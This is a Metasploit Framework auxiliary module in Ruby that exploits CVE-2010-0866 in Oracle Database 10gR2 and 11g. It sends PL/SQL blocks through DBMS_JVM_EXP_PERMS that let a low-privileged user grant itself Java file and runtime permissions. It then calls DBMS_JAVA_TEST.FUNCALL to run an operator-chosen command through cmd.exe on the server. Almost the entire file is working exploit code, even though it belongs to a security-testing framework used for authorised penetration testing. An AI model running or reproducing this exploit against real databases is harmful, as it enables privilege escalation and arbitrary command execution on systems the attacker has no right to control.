##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::ORACLE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle DB 10gR2, 11gR1/R2 DBMS_JVM_EXP_PERMS OS Command Execution',
			'Description'    => %q{
					This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows
				any user with create session privilege to grant themselves java IO privileges.
				Identified by David Litchfield. Works on 10g R2, 11g R1 and R2 (Windows only)
			},
			'Author'         => [ 'sid[at]notsosecure.com' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2010-0866'],
					[ 'OSVDB', '62184'],
					[ 'URL', 'http://blackhat.com/html/bh-dc-10/bh-dc-10-archives.html#Litchfield' ],
					[ 'URL', 'http://www.notsosecure.com/folder2/2010/02/04/hacking-oracle-11g/' ],
				],
			'DisclosureDate' => 'Feb 1 2010'))

		register_options(
			[
				OptString.new('CMD', [ false, 'CMD to execute.',  "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]),
			], self.class)
	end

	def run
		return if not check_dependencies

		name = Rex::Text.rand_text_alpha(rand(10) + 1)


		package1 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;" +
			"CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','"
		package1 << "<" << "<ALL FILES>>','execute','ENABLED' from dual;" +
			"BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;"
		package2 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;" +
			"CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;" +
			"BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;"
		package3 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;" +
			"CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;" +
			"BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;"

		os_code = "select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe', '/c', ' #{datastore['CMD']}')from dual"

		begin
			print_status("Attempting to grant JAVA IO Privileges")
			prepare_exec(package1)
			prepare_exec(package2)
			prepare_exec(package3)
			print_status("Attempting to execute OS Code")
			prepare_exec(os_code)
		rescue => e
			print_error("Error: #{e.class} #{e}")
		end
	end

end
